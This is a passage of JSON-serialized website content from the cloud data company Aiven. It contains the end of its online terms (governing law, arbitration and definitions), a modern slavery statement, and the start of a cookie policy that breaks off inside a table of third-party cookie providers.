Cloud Service."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"333f7902afb6","_type":"block","children":[{"_key":"99c1c8e8502f0","_type":"span","marks":[],"text":"14. Governing Law and Disputes"}],"markDefs":[],"style":"h3"},{"_key":"5718734724da","_type":"block","children":[{"_key":"b73a5781bf530","_type":"span","marks":[],"text":"The Agreement shall be governed by and construed in accordance with the substantive laws of Finland, excluding its choice of law provisions."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7f3e9be687a2","_type":"block","children":[{"_key":"9cb274f7e6950","_type":"span","marks":[],"text":"Any dispute, controversy or claim arising out of or relating to this Agreement, or the breach, termination or validity thereof, shall be finally settled by arbitration in accordance with the Arbitration Rules of the Finland Chamber of Commerce. The number of arbitrators shall be one (1). The seat of arbitration shall be Helsinki, Finland. The language of the arbitration shall be English."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"266d8e889698","_type":"block","children":[{"_key":"3b183d244bbc0","_type":"span","marks":[],"text":"Notwithstanding anything set out in Section 14.2 above, Aiven shall have the right to claim unpaid Fees in a public court."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"43cc58568e97","_type":"block","children":[{"_key":"dc443fe7b7b40","_type":"span","marks":[],"text":"15. Definitions"}],"markDefs":[],"style":"h3"},{"_key":"5ac5c5fb02ce","_type":"block","children":[{"_key":"62cd77310c5e0","_type":"span","marks":[],"text":"\""},{"_key":"62cd77310c5e1","_type":"span","marks":["strong"],"text":"Acceptable Use Policy"},{"_key":"62cd77310c5e2","_type":"span","marks":[],"text":"\" has the meaning set out in Section 7.1;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"9bfe4603ad3b","_type":"block","children":[{"_key":"fa85a4c88d731","_type":"span","marks":["strong"],"text":"\"Additional Services"},{"_key":"fa85a4c88d732","_type":"span","marks":[],"text":"\" means optional Services, further described in an Order Form or at the Website, as applicable, which are not Cloud Services, Consulting Services, Support Services or Beta Services."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"f8c542275572","_type":"block","children":[{"_key":"5e74f480bef10","_type":"span","marks":[],"text":"\""},{"_key":"5e74f480bef11","_type":"span","marks":["strong"],"text":"Affiliate"},{"_key":"5e74f480bef12","_type":"span","marks":[],"text":"\" of a Party means any legal entity that is (a) directly or indirectly owning or controlling the Party, or (b) under the same direct or indirect ownership or control as the Party, or (c) directly or indirectly owned or controlled by the Party, for so long as such ownership or control lasts. Ownership or control shall exist through direct or indirect ownership of more than fifty percent (50%) of the nominal value of the issued equity share capital or more than fifty percent (50%) of the shares entitling the holders to vote for the election of the members of the board of directors or persons performing similar functions;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"e7523110acc6","_type":"block","children":[{"_key":"27951331397d0","_type":"span","marks":[],"text":"\""},{"_key":"27951331397d1","_type":"span","marks":["strong"],"text":"Agreement"},{"_key":"27951331397d2","_type":"span","marks":[],"text":"\" means this agreement between Aiven and the Customer, consisting of these General Terms, the SLA, the DPA and the Support Services Description available on the Web Site, and any Order Form with its appendices that Aiven and the Customer may have entered into;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"b570f464aecf","_type":"block","children":[{"_key":"c5c989b6b1200","_type":"span","marks":[],"text":"\""},{"_key":"c5c989b6b1201","_type":"span","marks":["strong"],"text":"Beta Services"},{"_key":"c5c989b6b1202","_type":"span","marks":[],"text":"\" means a preview of the new Aiven Cloud Services, which have not been made generally available, including early access and limited access Cloud Services. The definition Beta Services includes also Cloud Services provided to Customer free of charge;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"9e041560a4fa","_type":"block","children":[{"_key":"d0c961cb6ef40","_type":"span","marks":[],"text":"\""},{"_key":"d0c961cb6ef41","_type":"span","marks":["strong"],"text":"Beta Features"},{"_key":"d0c961cb6ef42","_type":"span","marks":[],"text":"\" means features, which have not been made generally available, including early access and limited access features. The definition Beta Features includes also features provided to Customer free of charge;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"df6a7a68e287","_type":"block","children":[{"_key":"da05063c64260","_type":"span","marks":[],"text":"\""},{"_key":"da05063c64261","_type":"span","marks":["strong"],"text":"Cloud Service(s)"},{"_key":"da05063c64262","_type":"span","marks":[],"text":"\" means the cloud based services provided by Aiven to the Customer as set out in the Agreement;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"eefe3803334a","_type":"block","children":[{"_key":"ab53c21a12d00","_type":"span","marks":[],"text":"\""},{"_key":"ab53c21a12d01","_type":"span","marks":["strong"],"text":"Customer"},{"_key":"ab53c21a12d02","_type":"span","marks":[],"text":"\" means the customer entity registering to use the Services or the customer entity set out in the Order Form, including its Affiliates, and entering into the Agreement with Aiven;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"34316a9a951e","_type":"block","children":[{"_key":"0189c1a27e070","_type":"span","marks":[],"text":"\""},{"_key":"0189c1a27e071","_type":"span","marks":["strong"],"text":"Confidential Information"},{"_key":"0189c1a27e072","_type":"span","marks":[],"text":"\" has the meaning set out in Section 10.1;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"5296d4ea3be6","_type":"block","children":[{"_key":"facf7d2c24ec1","_type":"span","marks":["strong"],"text":"\"Consulting Services"},{"_key":"facf7d2c24ec2","_type":"span","marks":[],"text":"\" means Services further described and classified as Consulting Services in an Order Form and which are subject to additional consulting terms and conditions."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"60103f016d4c","_type":"block","children":[{"_key":"801efb920e6b0","_type":"span","marks":[],"text":"\""},{"_key":"801efb920e6b1","_type":"span","marks":["strong"],"text":"DPA"},{"_key":"801efb920e6b2","_type":"span","marks":[],"text":"\" means Aiven Data Processing Agreement which is located on the Web Site or as an appendix of the Order Form;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"74642afcd5f3","_type":"block","children":[{"_key":"5a2bb7397b630","_type":"span","marks":[],"text":"\""},{"_key":"5a2bb7397b631","_type":"span","marks":["strong"],"text":"Data Protection Regulation"},{"_key":"5a2bb7397b632","_type":"span","marks":[],"text":"\" means all applicable laws relating to data protection, including without limitation the EU General Data Protection Regulation (2016/679, the GDPR), laws implementing EU Directive 2002/58/EC and any amendments to or replacements for such laws and regulations;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a85449292ce3","_type":"block","children":[{"_key":"5755438a28440","_type":"span","marks":[],"text":"\""},{"_key":"5755438a28441","_type":"span","marks":["strong"],"text":"Fee(s)"},{"_key":"5755438a28442","_type":"span","marks":[],"text":"\" means the compensation paid by the Customer for the Services;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"0d6935ed8e30","_type":"block","children":[{"_key":"e1f47f5630670","_type":"span","marks":[],"text":"\""},{"_key":"e1f47f5630671","_type":"span","marks":["strong"],"text":"General Terms"},{"_key":"e1f47f5630672","_type":"span","marks":[],"text":"\" has the meaning set out in the preamble above;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"38dea03d7f3e","_type":"block","children":[{"_key":"b4e44d21b84b0","_type":"span","marks":[],"text":"\""},{"_key":"b4e44d21b84b1","_type":"span","marks":["strong"],"text":"Intellectual Property Rights"},{"_key":"b4e44d21b84b2","_type":"span","marks":[],"text":"\" means any and all patents, utility models, design rights, copyrights (including the right to amend, modify, develop and assign), trademarks, trade names, inventions, trade secrets, domain names, know-how and any other industrial or intellectual property rights (including applications thereof);"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"9684bd74f527","_type":"block","children":[{"_key":"bf48708988280","_type":"span","marks":[],"text":"\""},{"_key":"bf48708988281","_type":"span","marks":["strong"],"text":"Order Form"},{"_key":"bf48708988282","_type":"span","marks":[],"text":"\" means an order concerning the purchase of Services between the Parties. By entering into an Order Form under this Agreement, the Customer agrees to be bound by the terms of this Agreement, of which these General Terms form an integral and inseparable part of. The Order Form may include an executed quotation or purchase order for the Services. The scope of the Services, commercial details, effective date and term length for each separate order are specified in the applicable Order Form. The Order Forms will form an inseparable part of this Agreement in the order entered into;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"2a79c135d5bf","_type":"block","children":[{"_key":"e2d5a6bfe21d0","_type":"span","marks":[],"text":"\""},{"_key":"e2d5a6bfe21d1","_type":"span","marks":["strong"],"text":"Services"},{"_key":"e2d5a6bfe21d2","_type":"span","marks":[],"text":"\" means the services provided by Aiven under the Agreement, including Cloud Services, Support Services, Consulting Services, Beta Services and Additional Services;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"aaf068a27399","_type":"block","children":[{"_key":"e35473f4e76e0","_type":"span","marks":[],"text":"\""},{"_key":"e35473f4e76e1","_type":"span","marks":["strong"],"text":"SLA"},{"_key":"e35473f4e76e2","_type":"span","marks":[],"text":"\" means Aiven Service Level Agreement which is located on the Web Site or as an appendix of the Order Form;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"6e582832f034","_type":"block","children":[{"_key":"dc23403565e60","_type":"span","marks":[],"text":"\""},{"_key":"dc23403565e61","_type":"span","marks":["strong"],"text":"Standard Contractual Clauses"},{"_key":"dc23403565e62","_type":"span","marks":[],"text":"\" means the contractual clauses issued by the European Commission by the decision 2021/914/EU for international transfers of personal data and any updated versions;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"8a92d30be0b6","_type":"block","children":[{"_key":"be6d7a16d4760","_type":"span","marks":["strong"],"text":"\"Subprocessor\" "},{"_key":"be6d7a16d4761","_type":"span","marks":[],"text":"means Aiven Affiliates and third parties; i) providing the back-end services for Aiven and/or ii) selected by the Customer to provide the hosting services for the data Customer inputs to the Cloud Services (e.g. Google, Microsoft, AWS). The Subprocessors and their services are listed on the Website."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7e51d3268043","_type":"block","children":[{"_key":"6b61fa5174120","_type":"span","marks":[],"text":"\""},{"_key":"6b61fa5174121","_type":"span","marks":["strong"],"text":"Support Services"},{"_key":"6b61fa5174122","_type":"span","marks":[],"text":"\" means the Support Services provided by Aiven to the Customer;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"c0656696e5bf","_type":"block","children":[{"_key":"3ace3801f6990","_type":"span","marks":[],"text":"\""},{"_key":"3ace3801f6991","_type":"span","marks":["strong"],"text":"Support Services Description"},{"_key":"3ace3801f6992","_type":"span","marks":[],"text":"\" which is located on the Web Site or as an appendix of the Order Form; and"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"60a03f8424bf","_type":"block","children":[{"_key":"3588e8f1f5130","_type":"span","marks":[],"text":"\""},{"_key":"3588e8f1f5131","_type":"span","marks":["strong"],"text":"Web Site"},{"_key":"3588e8f1f5132","_type":"span","marks":[],"text":"\" means Aiven's web site available at "},{"_key":"3588e8f1f5133","_type":"span","marks":["d212f1acee4a"],"text":"aiven.io"},{"_key":"3588e8f1f5134","_type":"span","marks":[],"text":" and the Aiven console available at "},{"_key":"3588e8f1f5135","_type":"span","marks":["8a0bb60696a9"],"text":"console.aiven.io"},{"_key":"3588e8f1f5136","_type":"span","marks":[],"text":" through which the Customer may use the Cloud Services."}],"level":1,"listItem":"number","markDefs":[{"_key":"d212f1acee4a","_type":"link","href":"https://aiven.io/"},{"_key":"8a0bb60696a9","_type":"link","href":"https://console.aiven.io/"}],"style":"normal"}],"publishedAt":"2024-03-04T14:13:42.271Z","secondaryNavigation":{"_ref":"d3682fc4-0bec-4657-9273-405424bdd8ed","_type":"reference"},"seo":{"_type":"metaData","metaDescription":"Aiven works hard to provide clear, easily understandable terms so that our clients can get to what really matters: getting the most from our services.\n","metaImage":{"_type":"mainImage","asset":{"_ref":"image-1f96cdceafe9b960b205c068a97313d3235b5e8d-476x250-jpg","_type":"reference"}},"metaTitle":"Terms of Service | Aiven"},"slug":{"_type":"slug","current":"/terms"},"title":"Aiven General Online Terms and Conditions"} {"__i18n_lang":"en","_createdAt":"2024-11-20T11:49:55Z","_id":"0fb13a4b-e541-40c6-af0b-c03c3a71aee7","_rev":"Ud5WTDnszW9rcVYh0vV5pb","_type":"term","_updatedAt":"2024-11-21T13:10:13Z","content":[{"_key":"3bc1641fbf15","_type":"block","children":[{"_key":"cd3a441ef3510","_type":"span","marks":[],"text":"Introduction"}],"markDefs":[],"style":"h2"},{"_key":"379d402d2730","_type":"block","children":[{"_key":"22b46a648ad10","_type":"span","marks":[],"text":"Aiven Oy was founded in 2016 in Helsinki, Finland. Doing business in an ethical way has always been Aiven’s ambition. Aiven operates with integrity and expects the same from its partners. In this statement, the company’s good intentions are put into action. Aiven will not only take steps to identify modern slavery risks in our business, but will execute concrete measures to reduce and eliminate these risks."}],"markDefs":[],"style":"normal"},{"_key":"aa73842b56f8","_type":"block","children":[{"_key":"ce0806c9d0b30","_type":"span","marks":[],"text":"Aiven has adopted this statement pursuant to the United Kingdom Modern Slavery Act of 2015 and the Australia Modern Slavery Act of 2018. The statement concerns Aiven Oy and its wholly owned subsidiaries (referred to collectively as “"},{"_key":"ce0806c9d0b31","_type":"span","marks":["strong"],"text":"Aiven"},{"_key":"ce0806c9d0b32","_type":"span","marks":[],"text":"”). The entity preparing this statement is Aiven Oy. The Board of Directors of Aiven Oy has approved the statement on 6 November 2024."}],"markDefs":[],"style":"normal"},{"_key":"4ec4f9032a1f","_type":"block","children":[{"_key":"59422e0d788a0","_type":"span","marks":[],"text":"Our business"}],"markDefs":[],"style":"h2"},{"_key":"5eb9fa53ce0c","_type":"block","children":[{"_key":"351ec2cf27040","_type":"span","marks":[],"text":"Aiven provides a fully managed cloud data platform for a wide variety of open source data technologies on all major clouds. Its service enables developers to build software-as-a-service (SaaS) and next-generation applications quickly and securely. Through this, Aiven helps its customers reduce the time and costs spent on managing data infrastructure."}],"markDefs":[],"style":"normal"},{"_key":"c428d2bb66d5","_type":"block","children":[{"_key":"ebbdc954b3c80","_type":"span","marks":[],"text":"With its headquarters located in Helsinki, Finland, Aiven also maintains offices in Berlin, Paris, London, Austin, Toronto, Sydney and Auckland. As an international company with over 350 employees worldwide, Aiven prioritizes compliance with applicable laws, regulations, and industry best practices. To ensure this, the company’s internal policies are crafted to adhere to both legal standards and high ethical principles, fostering a culture of compliance and integrity throughout the organization."}],"markDefs":[],"style":"normal"},{"_key":"e19d527763e2","_type":"block","children":[{"_key":"3ae850a76c830","_type":"span","marks":[],"text":"Our policies"}],"markDefs":[],"style":"h2"},{"_key":"e7753e8de478","_type":"block","children":[{"_key":"8c39272c870b0","_type":"span","marks":[],"text":"Aiven is committed to ensuring that there is no modern slavery in its supply chains or in any part of its business. In addition to this statement, several of the company’s current policies and processes contribute to the governance of combating modern slavery and human trafficking, including but not limited to the following:"}],"markDefs":[],"style":"normal"},{"_key":"eaccbdd32694","_type":"block","children":[{"_key":"27a96c981c3c0","_type":"span","marks":[],"text":"Aiven values of "},{"_key":"27a96c981c3c1","_type":"span","marks":["strong"],"text":"ownership, openness and courage"},{"_key":"27a96c981c3c2","_type":"span","marks":[],"text":" demonstrate the company’s willingness to take responsibility for its actions and to acknowledge and correct its errors."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6036e1052670","_type":"block","children":[{"_key":"6ddbd22627f90","_type":"span","marks":[],"text":"In the "},{"_key":"54cbbd3203bd","_type":"span","marks":["065382401392","strong"],"text":"Aiven Code of Conduct"},{"_key":"6ddbd22627f92","_type":"span","marks":[],"text":", the company expresses its commitment to human rights, avoiding complicity in any human rights abuse, respecting employment laws and employees’ right to organize, and we condemn all child labor and forced labor."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"065382401392","_type":"link","href":"https://cdn.sanity.io/files/sczeoy4w/production/6b9afbb9db98184240c1b402ebb248b3cbdff615.pdf"}],"style":"normal"},{"_key":"2dde0108b8c2","_type":"block","children":[{"_key":"f8218477512d0","_type":"span","marks":[],"text":"More detailed employment policies of the company echo these commitments and aim for the "},{"_key":"f8218477512d1","_type":"span","marks":["strong"],"text":"highest level of employee protection"},{"_key":"f8218477512d2","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"79be2b4fb702","_type":"block","children":[{"_key":"aaea73e7cc620","_type":"span","marks":[],"text":"Employees at Aiven are encouraged to be critical and to speak up if they see something that seems illegal, wrongful or unethical – to support this, the company’s "},{"_key":"aaea73e7cc621","_type":"span","marks":["strong"],"text":"Whistleblower Protection Policy"},{"_key":"aaea73e7cc622","_type":"span","marks":[],"text":" enables anonymous reporting."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"483cd35a60ba","_type":"block","children":[{"_key":"e8aeec407dfe0","_type":"span","marks":[],"text":"Aiven seeks to minimize risks relating to human rights violations through its policies regarding high-risk jurisdictions, for example through the "},{"_key":"e8aeec407dfe1","_type":"span","marks":["strong"],"text":"International Sanctions and Trade Restriction "},{"_key":"e8aeec407dfe2","_type":"span","marks":[],"text":"policy, and ensure that these considerations are taken into account when Aiven expands to new areas."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b1ef7305bae3","_type":"block","children":[{"_key":"f7b56eb53d160","_type":"span","marks":[],"text":"The policies relating to "},{"_key":"f7b56eb53d161","_type":"span","marks":["strong"],"text":"Anti-Corruption and Bribery"},{"_key":"f7b56eb53d162","_type":"span","marks":[],"text":" and the "},{"_key":"f7b56eb53d163","_type":"span","marks":["strong"],"text":"supplier management"},{"_key":"f7b56eb53d164","_type":"span","marks":[],"text":" process guide the company to work with accountable, compliant and socially responsible partners."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8b6fe770c8b2","_type":"block","children":[{"_key":"ba4d0eb2533d0","_type":"span","marks":[],"text":"Aiven’s "},{"_key":"ba4d0eb2533d1","_type":"span","marks":["strong"],"text":"Sustainability and Social Impact Commitment"},{"_key":"ba4d0eb2533d2","_type":"span","marks":[],"text":" also contributes towards similar goals as combating modern slavery by increasing the transparency of our supply chains."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"723c0fd1afbb","_type":"block","children":[{"_key":"2972d9aa6e780","_type":"span","marks":[],"text":"Risk assessment of our activities"}],"markDefs":[],"style":"h2"},{"_key":"5e47988411e3","_type":"block","children":[{"_key":"adf06fb9fec80","_type":"span","marks":[],"text":"Aiven operates in a sector where the risk of modern slavery and human trafficking is relatively low. In its business, being able to attract qualified talent is critical, so Aiven makes sure to maintain attractive and fair working conditions."}],"markDefs":[],"style":"normal"},{"_key":"10bc452dcf73","_type":"block","children":[{"_key":"0cdd8e0fccef0","_type":"span","marks":[],"text":"Aiven also acknowledges that modern slavery risks can be higher in certain jurisdictions. Therefore, the company focuses its offices and employees in democratically governed jurisdictions with high levels of accountability and responsivity to modern slavery risks."}],"markDefs":[],"style":"normal"},{"_key":"2652807a8acc","_type":"block","children":[{"_key":"15283a8759540","_type":"span","marks":[],"text":"In Aiven’s supply chain, the most critical suppliers are the major public cloud service providers, all of which have comprehensive modern slavery policies. The cloud sector is not subject to heightened modern slavery risks. Meanwhile, Aiven’s less essential suppliers may also come from industries that are more exposed to human rights risks, including the hospitality and textile industries."}],"markDefs":[],"style":"normal"},{"_key":"b8e16b92ff43","_type":"block","children":[{"_key":"8906ba964e2a0","_type":"span","marks":[],"text":"Aiven recognizes that modern slavery and human trafficking are among the most serious human rights violations in modern society. They affect tens of millions of victims around the world annually. Therefore, Aiven takes even the smallest risks seriously. To date Aiven has not detected modern slavery violations in its business and has also not been subject to accusations of such."}],"markDefs":[],"style":"normal"},{"_key":"e2337005dc2b","_type":"block","children":[{"_key":"7d400fea345a0","_type":"span","marks":[],"text":"Our supplier due diligence"}],"markDefs":[],"style":"h2"},{"_key":"16888765bcea","_type":"block","children":[{"_key":"12d94fa475a60","_type":"span","marks":[],"text":"Aiven’s aim is to work exclusively with suppliers and partners who hold up to the company’s values and Code of Conduct. Aiven requires that its employees use the company’s resources responsibly and in line with the company’s ethical standards. This is enforced by the company’s mandatory spend guidelines and supplier management process. Although Aiven mainly focuses on legal, security and privacy compliance, suppliers who fulfill our compliance requirements also typically adhere to more comprehensive human rights standards."}],"markDefs":[],"style":"normal"},{"_key":"aed534509398","_type":"block","children":[{"_key":"22d6cae99d550","_type":"span","marks":[],"text":"When purchasing company merchandise, Aiven pays particular attention to quality, sustainability and human rights accountability, especially regarding modern slavery risks such as forced or child labor. AIven also prioritizes local sourcing, which helps to keep the supply chain transparent."}],"markDefs":[],"style":"normal"},{"_key":"f3bb6ed551ec","_type":"block","children":[{"_key":"c66d7be6d5870","_type":"span","marks":[],"text":"Our commitment, remedial actions and their effectiveness"}],"markDefs":[],"style":"h2"},{"_key":"9349aa2c0d23","_type":"block","children":[{"_key":"af490f1758370","_type":"span","marks":[],"text":"Aiven condemns all forms of slavery and human trafficking. The company is committed to ensuring that there is no modern slavery or human trafficking in any parts of its business nor our supply chains."}],"markDefs":[],"style":"normal"},{"_key":"4ffa1a96df0b","_type":"block","children":[{"_key":"9b47cd6524c60","_type":"span","marks":[],"text":"During the current and following fiscal year, Aiven’s commitment is to improve awareness, policies and procedures to minimize the risk of violations through the following steps:"}],"markDefs":[],"style":"normal"},{"_key":"3d94d8ffadc5","_type":"block","children":[{"_key":"4bad243f7a4f0","_type":"span","marks":[],"text":"Aiven will establish a Supplier Code of Conduct to outline our expectations for suppliers who provide goods or services to Aiven. The company expects its suppliers to share our values and uphold the same standards in their operations."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"58f458b3e53d","_type":"block","children":[{"_key":"17828f5a7a970","_type":"span","marks":[],"text":"Aiven will establish guidance on how to evaluate whether a supplier complies with its standard of combating modern slavery. Possible external service providers that could be used in the vetting process shall also be sought out."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a0f187259303","_type":"block","children":[{"_key":"bab00947beeb0","_type":"span","marks":[],"text":"Training on the topic will be made available to relevant employees, particularly those involved in procurement and supply chain management, to help them identify and address issues related to modern slavery."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"c7c45c03a9b7","_type":"block","children":[{"_key":"007fbeb5b9cc0","_type":"span","marks":[],"text":"If any concerns or allegations arise relating to human trafficking and/or slavery against any of Aiven’s current suppliers, the company will act immediately. Where evidence of such violations is presented, Aiven will reevaluate our relationship with the relevant supplier and contact the competent authorities where applicable."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"b5c8120716ed","_type":"block","children":[{"_key":"f3c0f59259490","_type":"span","marks":[],"text":"This statement will be reviewed and updated annually. Aiven is dedicated to continuously improving its processes to prevent modern slavery and human trafficking. Aiven will continue to review and update its policies and procedures to ensure that they remain effective and aligned with best practices in ethical business operations."}],"markDefs":[],"style":"normal"},{"_key":"00897aa19a3b","_type":"block","children":[{"_key":"9c7e520af40a0","_type":"span","marks":[],"text":"This statement is signed by an authorized representative of Aiven Oy on 6 November 2024."}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-11-06T07:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven is committed to ethical business and eliminating modern slavery. Learn about our Modern Slavery policies, due diligence processes, and initiatives.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-17bba7a06038807dcb612096903c0dd4c750da16-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven Modern Slavery Statement"},"slug":{"_type":"slug","current":"/aiven-modern-slavery-statement"},"title":"Aiven Modern Slavery Statement"} {"__i18n_lang":"en","_createdAt":"2022-06-06T02:27:48Z","_id":"16319f9c-a9fd-40b6-a142-55abea8fb589","_rev":"w5Y1buu43ZclY4xZaVZBFQ","_type":"term","_updatedAt":"2025-01-14T12:29:27Z","content":[{"_key":"5733ca6d6025","_type":"block","children":[{"_key":"dfc85b03ca9c0","_type":"span","marks":[],"text":"This Cookie Policy applies to use of cookies at aiven.io provided by Aiven Ltd, Business ID: 2795743-5, (hereinafter referred to as \""},{"_key":"dfc85b03ca9c3","_type":"span","marks":["strong"],"text":"Aiven"},{"_key":"dfc85b03ca9c4","_type":"span","marks":[],"text":"\", \""},{"_key":"dfc85b03ca9c5","_type":"span","marks":["strong"],"text":"we"},{"_key":"dfc85b03ca9c6","_type":"span","marks":[],"text":"\" or \""},{"_key":"dfc85b03ca9c7","_type":"span","marks":["strong"],"text":"us"},{"_key":"dfc85b03ca9c8","_type":"span","marks":[],"text":"\"). You may access and change your cookie preferences at any time by clicking on \"Cookie Settings\" on the footer of our website."}],"markDefs":[],"style":"normal"},{"_key":"9c78e2687bca","_type":"block","children":[{"_key":"2663333d94620","_type":"span","marks":[],"text":"What are cookies?"}],"markDefs":[],"style":"h2"},{"_key":"fb676f0c919b","_type":"block","children":[{"_key":"16515e44b4100","_type":"span","marks":[],"text":"A cookie is a very small text document, which often includes an anonymous unique identifier. Cookies are created when your browser loads a particular website. The website sends information to the browser which then creates a text file. Every time the user goes back to the same website, the browser retrieves and sends this file to the website's server. We also use other forms of technology (such as web beacons and, software development kits in apps (usually referred to as SDKs)) which serve a similar purpose to cookies and which allow us to monitor and improve our service. When we talk about cookies in this Cookie Policy, this term includes these similar technologies. To the extent personal data is processed via these cookies, processing of personal data is carried out in accordance with our "},{"_key":"649ad0627785","_type":"span","marks":["2ff8f5e522d6"],"text":"Privacy Policy"},{"_key":"d757df0df125","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"2ff8f5e522d6","_type":"internalLink","internalLink":{"_ref":"e0c3ba03-765a-4d8c-bebb-90619d512ee5","_type":"reference"}}],"style":"normal"},{"_key":"328df2908ae2","_type":"block","children":[{"_key":"051b02a5afe70","_type":"span","marks":[],"text":"What cookies do we use and what information do they collect?"}],"markDefs":[],"style":"h2"},{"_key":"389f4566d824","_type":"block","children":[{"_key":"5129e80128b60","_type":"span","marks":["strong"],"text":"Necessary cookies: "},{"_key":"5129e80128b61","_type":"span","marks":[],"text":"These cookies are necessary for the website to function and cannot be switched off in our systems. They are usually only set in response to actions made by you which amount to a request for services, such as setting your privacy preferences, logging in or filling in forms. You can set your browser to block or alert you about these cookies, but some parts of the site will not then work. These cookies do not store any personally identifiable information."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"603241515f9b","_type":"block","children":[{"_key":"c63ff0678a9d0","_type":"span","marks":["strong"],"text":"Performance cookies: "},{"_key":"c63ff0678a9d1","_type":"span","marks":[],"text":"These cookies allow us to count visits and traffic sources so we can measure and improve the performance of our site. They help us to know which pages are the most and least popular and see how visitors move around the site. All information these cookies collect is aggregated and therefore anonymous. If you do not allow these cookies we will not know when you have visited our site, and will not be able to monitor its performance."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"070e335b071a","_type":"block","children":[{"_key":"3a4fdb9088c20","_type":"span","marks":["strong"],"text":"Targeting cookies: "},{"_key":"3a4fdb9088c21","_type":"span","marks":[],"text":"These cookies may be set through our site by our advertising partners. They may be used by those companies to build a profile of your interests and show you relevant adverts on other sites. They do not store directly personal information, but are based on uniquely identifying your browser and internet device. If you do not allow these cookies, you will experience less targeted advertising."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c6aeac245a56","_type":"block","children":[{"_key":"ad1e9d9a6efa0","_type":"span","marks":["strong"],"text":"Social media cookies: "},{"_key":"ad1e9d9a6efa1","_type":"span","marks":[],"text":"These cookies are set by a range of social media services that we have added to the site to enable you to share our content with your friends and networks. They are capable of tracking your browser across other sites and building up a profile of your interests. This may impact the content and messages you see on other websites you visit. If you do not allow these cookies you may not be able to use or see these sharing tools."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b7206302b68a","_type":"block","children":[{"_key":"b011d6bbc8450","_type":"span","marks":["strong"],"text":"Functional cookies: "},{"_key":"b011d6bbc8451","_type":"span","marks":[],"text":"These cookies enable the website to provide enhanced functionality and personalization. They may be set by us or by third party providers whose services we have added to our pages. If you do not allow these cookies then some or all of these services may not function properly."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"db5d01110ec2","_type":"block","children":[{"_key":"dc95bf330ae80","_type":"span","marks":["strong"],"text":"UX cookies: "},{"_key":"dc95bf330ae81","_type":"span","marks":[],"text":"These cookies help us inform our choices on user experience for the marketing website and Aiven Console."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d0b465f9f9ce","_type":"block","children":[{"_key":"728f9dbd50a20","_type":"span","marks":[],"text":"What third parties do we use?"}],"markDefs":[],"style":"h2"},{"_key":"323c092c1d80","_type":"block","children":[{"_key":"83e957f710d80","_type":"span","marks":[],"text":"Your use of our website may result in some cookies being stored that are not controlled by us. This may occur when the part of the website you are visiting makes use of a third party analytics or marketing automation or includes content displayed from a third party website, for example, Facebook. You should review the privacy and cookie policies of these third party services to find out how these third parties use cookies and whether your cookie data will be transferred to a third country."}],"markDefs":[],"style":"normal"},{"_key":"0178ca922f82","_type":"table","rows":[{"_key":"b24a0f4e-ab3b-4079-a58a-816e18844cd8","_type":"tableRow","cells":["Cookie provider","Cookie purpose","More information"]},{"_key":"80fcb31e-9023-4766-a7bc-f3c066524546","_type":"tableRow","cells":["Facebook","Collect information for relevant advertisements","[Read more](https://www.facebook.com/about/ads/)"]},{"_key":"2759c158-1efa-4d60-ab38-542a3fb0b80c","_type":"tableRow","cells":["Google Ads","Collect information for relevant advertisements","[Read more](https://policies.google.com/technologies/ads?hl=en-US)"]},{"_key":"3fb94e68-ca23-4935-8889-b34b3cb69acb","_type":"tableRow","cells":["Google Analytics","Collect information about website use","[Read 